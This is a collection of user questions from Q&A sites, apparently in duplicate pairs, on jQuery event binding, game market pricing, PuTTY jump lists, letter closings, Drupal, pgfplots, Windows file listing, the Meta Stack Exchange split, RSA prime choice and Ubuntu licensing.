I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off.  This happens on page ready and works just fine.  The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.  I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.


I am new at game development and am now facing the problem for a market price algorithm in a turn based game. What I try to achieve:  the market starts with fixed bidding and asking prices for one piece of goods. To keep it simple the minimum value is 1, the maximum 20 if the user buys/sells the same goods in too large quantities in a certain amount of turns, the prices should rise/drop; simple supply and demand logic. The maximum amount of a goods per transaction is 100 if the user doesn't trade that good for a few turns, it should adjust the price in the other direction there are certain type of goods that can be "easily" produced by the player and are thus sold and some that are harder to get by and are usually bought. the market can sell each good infinitely and would also buy everything, so it has no stock to take into account.  What I tried and didn't work:  if the accumulated quantity of bought/sold good reaches 500 (I use negative values for buying) the price rises or drops by 1 respectively to factor the turns into it, I thought I just reduce the accumulated value by 10 each turn and then adjust the price if it reaches 0 again. This has one big flaw, as you can easily cheat by just selling a small amount, wait a few turns and the price will rise; repeat until the price reaches the maximum of 20.  Any simple ideas on how to fix this? ps. I hope this is an appropriate question to ask here

I'm working on an idea for a trading game. Players would be traders buying in place A and selling in place B, hopefully for a profit.  I want prices to be dynamic, based on demand and supply. So if place A produces less food than it consumes, prices for food would he high and getting higher the closer they get to running out, while in place B, which has much more production than supply, prices would be near the production cost (minimum price). But if someone buys up a lot of the supply in B, prices would rise, and if someone sells a lot in place A, prices would drop.  Obviously, there are many ways to game such a system if it's not well-designed. The most easy is to empty the market, wait for the price to adjust, then sell everything back.  How could I design this system? I mean the actual math and functions, not philosophical musings. I searched a lot and haven't found anything specific.  I found  but it and its answers are a lot more specific to the specific formula the guy uses in his game. I'm looking for a more generic approach (I want different price elasticity for different goods, maybe non-linear price curves, etc.)


In previous installation of Windows, when I right clicked on PuTTY I got a list of the last ten connections that was very useful. But now after a fresh install of Windows 10 version 1607 it's not there any more - I get only Tasks as shown in the screen shot (those were not available in my previous installation). Is it Windows settings (and could it be updated somewhere - for example privacy or something like this) or maybe this is PuTTY/Windows bug?  EDIT I'm not interested in workaround to create separate link for each connection I have as suggested . I would rather want to have last x connections as it should work and worked in my previous Windows 10 installation

I have Windows 8 on my laptop and the jumplist for putty has always worked just fine. After installing Putty on my desktop (Win 10) the jumplists do not show up when I right-click the taskbar icon, Putty v0.65.   After scouring the internet, apparently a fix was provided in version 0.66. So I uninstalled 0.65 and installed 0.66... no help, same issue. some comments on a similar question to this actually said they had better luck with the development version, so I uninstalled 0.66 and installed the 11/30/2015 version of Putty. I have unpinned and re-pinned as well as deleted my saved sessions and recreated them. I even tried to clean registry entrys with ccleaner after uninstalling and before installing. I currently have 2 saved sessions and this is what my right-click taskbar context menu looks like (start menu jump list is exactly the same):    P.S. I have visited  and tried it's solutions. However, I was not able to comment due to my limited reputation, so I had to create my own question.


What is the "gratitude" at the end of a letter or post called in English?  For example:  Hi everyone,      <--- salutation  bla bla bla       <--- body  Thanks in advance <--- what is that called?

Salutation is the term used to describe the beginning of a letter or other correspondence. What is the term used for the closing of a letter? Here are some examples: Yours truly, Sincerely, Best wishes, Love?  Searching for 'antonym of salutation' was not helpful.  EDIT: This need not be expressed as a single word. (Whatever is correct is fine, whether one word or a phrase!)  1. Citation (IEEE Style):  in Roget's 21st Century Thesaurus, Third Edition.  Source location: Philip Lief Group 2009.


I need to use the value of a JavaScript variable in a module. For example, I am getting a city = 'delhi' in a JavaScript file, and I need to use this value in a module showing a form.

I am trying to send a value in JavaScript variable to Drupal. I am calling an external js file in hook_nodeapi(). I want to send a value from this external js file to Drupal, and want to use this value in Drupal in hook_block. For example  hook_nodeapi() {   // call(external.js) } external.js var sendData =10;  hook_block {   case view:   // need to access sendData value }   I tried this using cookies, but I think that is not the best way. How can this be done?


I have group plot which consists of 2 rows and 3 columns. I need to add text to left of the figure and below of of the figure, very similar to this :   \documentclass{article} \usepackage{amssymb} \usepackage{tikz}  \usepackage{graphicx} \usepackage{pgfplots} \usetikzlibrary{spy} \pgfplotsset{compat=1.9} \usepackage{epsfig} \usepgfplotslibrary{groupplots} \usepgfplotslibrary{external} \usetikzlibrary{external} % set up externalization \tikzexternalize[shell escape=-enable-write18] % activate     externalisation \tikzset{external/system call={pdflatex \tikzexternalcheckshellescape     -halt-on-error -interaction=batchmode -jobname "\image" "\texsource"&& pdftops -eps "\image.pdf"}}  \begin{document} \begin{tikzpicture}[spy using outlines={rectangle, magnification=2,connect spies}] \begin{groupplot}[ group style={     vertical sep=0,     group name=my plots,     group size=3 by 2,    },  ybar, width=8cm, height=6cm, ymin=0,  xtick align=inside, ] \nextgroupplot[ymax = 80,xmin = -2, xmax=10,xticklabel pos = right]  \nextgroupplot[ymax = 60,xmin = -2, xmax=4,xticklabel pos = right]  \nextgroupplot[ymax = 60 ,ymin = 0.1,xmin = -5, xmax=5,xticklabel pos = right,ytick = {20,40,60},xtick = {-4,-2,0,2,4}]  \nextgroupplot[ymax = 60,xmin = -5, xmax=5]  \nextgroupplot[ymax = 40,xmin = -1, xmax=1]  \nextgroupplot[xmin=-6,xmax=2,ymax = 70]  \end{groupplot}  \end{tikzpicture} \end{document}

This can be considered a combination of the following questions      The following piece of code renders two plots, one above the other, and attaches a common ylabel to both.  \documentclass[tikz]{standalone} \usepackage[T1]{fontenc} \usepackage{cmbright} %% Just some font that has serifs for maths                                           %% Yes; this particular combination is horrible                                       \usepackage{euler} \usepackage{pgfplots} \usepgfplotslibrary{units} \pgfplotsset{compat=newest} \usepgfplotslibrary{groupplots} \begin{document} \begin{tikzpicture}   \begin{groupplot}[group style={group size=1 by 2}]     \nextgroupplot[ylabel = ylabel, y unit = m/s]     \addplot coordinates {(0,0) (1,1) (2,2)};     \nextgroupplot     \addplot coordinates {(0,2) (1,1000) (2,0)};   \end{groupplot}    \node at ($(group c1r1.west)!0.5!(group c1r2.west)$)   [xshift=-1.5cm] % Problem #1: estimated distance                                      {\rotatebox{90}{ylabel [$\mathrm{m/s}$]}};   % Problem #2: Copying pgfplots internals,                                             % i.e. /pgfplots/unit code/.code 2 args={\mathrm{#1#2}}                             \end{tikzpicture} \end{document}     There are two problems: It would be nice if the near ticks mechanics worked for this case, too, i.e. the optimal distance from both plots were determined automatically; on top of that, if units are used, the ylabel isn't just a bit of text anymore, but something more complicated; and I'd rather not reinvent that machinery.  Is there a better way to handle this?


Is their a way to output all file names in a folder in windows to a text file? For example, a.pdf b.pdf c.pdf  in some folder A,  output in text file as, a.pdf b.pdf c.pdf  I know this is a insignificant task in linux but how to do this in windows?

How can I copy the names of files in a directory to a text file or to a clipboard?


In , the estimated time of arrival was around the middle of January:     I'm extremely pleased to announce that we've finally worked out the remaining details, and will be proceeding with the split in six to eight weeks. No, I'm not kidding, we're shooting for somewhere around the middle of January. Seriously, stop laughing, six to eight weeks is a perfectly reasonab .. I digress.   It's February now, though, so I'm wondering: what's the current estimated time of arrival for the new Meta Stack Overflow?  I am absolutely not planning to hassle the development team here. I'm quite content whenever Meta Stack Exchange arrives, and if they need more time, they should definitely take it, since this is something that should be done right. I'm still curious about when it might happen, though!    A day later: I've just learned that  for when there isn't an ETA. Was there no ETA to begin with, and is there no specific ETA now? (Other than a perpetual ETA of 6-8 weeks)

Update 2014-04-17 04:47 UTC: Stable, with some odds and ends to clean up      The main MSO/MSE sites are stable, but there are plenty of corners left to sweep. For details, see:    Not all of them mind you, just Meta Stack Overflow into Meta Stack Exchange.  I'll have you know, factually, that we really did believe this would take place in six-to-eight weeks when it was , but we've finally got a tentative date established.  If things go according to plan, we'll begin the operation shortly after 8:30 PM EDT on the 16th, completing everything within a few hour window. Ideally, all service disrupting endeavors will be completed within the first hour, which include:   The availability of Meta Stack Overflow The availability of Stack Overflow (more on this shortly) The availability of Chat on Meta Stack Overflow   As you know, we'll be bolting on a standard issue per-site meta on Stack Overflow, while breaking the link between what will have become Meta Stack Exchange and Stack Overflow. There's some irritable innards in that particular region, so we'll be asking folks to expect the unexpected during the maintenance window. Affected sites will be in and out of read-only mode, or quite possibly just down for maintenance while we're doing the actual break.  I'll be posting a system message on both Meta Stack Overflow as well as Stack Overflow itself 24 hours before we begin the actual work.   Did I say tentative in a six-to-eight-something time frame again? Why yes, I did - we're currently running some tests on the dev tier to simulate the split as closely as possible, so that we can better anticipate quirks that we need to address prior to actually doing it.  Once the sites have actually been stood up functionally on the production tier, we're going to get to work on finishing touches. This will include things like site settings (which determine bits of text you see in the question prompts, rep thresholds, etc) and all sorts of other fine tuning.  Once we're done:   Stack Overflow will have a blank, empty child meta site just like every other site The new Meta Stack Exchange will be up and running All rooms on Chat Meta Stack Overflow will be moved to Chat Meta Stack Exchange  I'll send over about 150 - 200 questions from MSE to MSO, most of which will be tag or SO-specific feature related posts that got buried by the network stuff without resolution.   If the tentative date moves, I'll update this post with the new date. However, we do not anticipate this happening any later than Saturday, April 19 - in the case that we see down time we can't mitigate and need to do it on a weekend.  The ground work is basically done, we're finishing up sanity now with a great deal of confidence, and we're pretty certain that we'll hit between those dates, if not directly on the tentative 16th.  Questions? Kvetch? Anonymous confessions? Answer below, and I'll address each in comments.


I'm studying how the selection of prime numbers in RSA encryption may affect the security of the encryption in regards to the public key.  Essentially, are there any specific types of prime numbers that render the most secure public key? (meaning that someone cannot backtrack the public key and figure out the private key)  Or do the prime numbers just have to be 'sufficiently' large?  Thanks for helping out :)

There exist certain attacks that can be used against RSA keys whose prime factors are of specific forms, such as one by Coppersmith.  How common are these RSA keys?  If you generate primes randomly, is there a realistic risk of choosing a weak prime number?  Does this risk, if realistic, vanish if you always choose $p$ and $q$ to be safe primes?


I am new to Ubuntu and I am trying to understand how the licensing works.   Is it free to download for anyone and to install anywhere??  We need to install Ubuntu on our mainframe at work, so I need to make sure we are fully compliant and that I understand the licensing terms. It looks as though it is free to install and use , but then i have seen on the website about paying $19,500 per drawer per year  - which has now confused me!  It says “Ubuntu Server for IBM Z and LinuxONE is priced at $19,500 per drawer per year, covering unlimited usage of Ubuntu within that drawer, 24x7 Ubuntu Advantage Advanced support services and regular security and reliability fixes from Canonical.”.    Does this apply to support only?  We do not need support for this software, we just want to be able to use it for a testing environment to help our end customers.  Many thanks!

Is  free for business platforms?  Has Ubuntu changed its conditions about using the OS for profit purposes?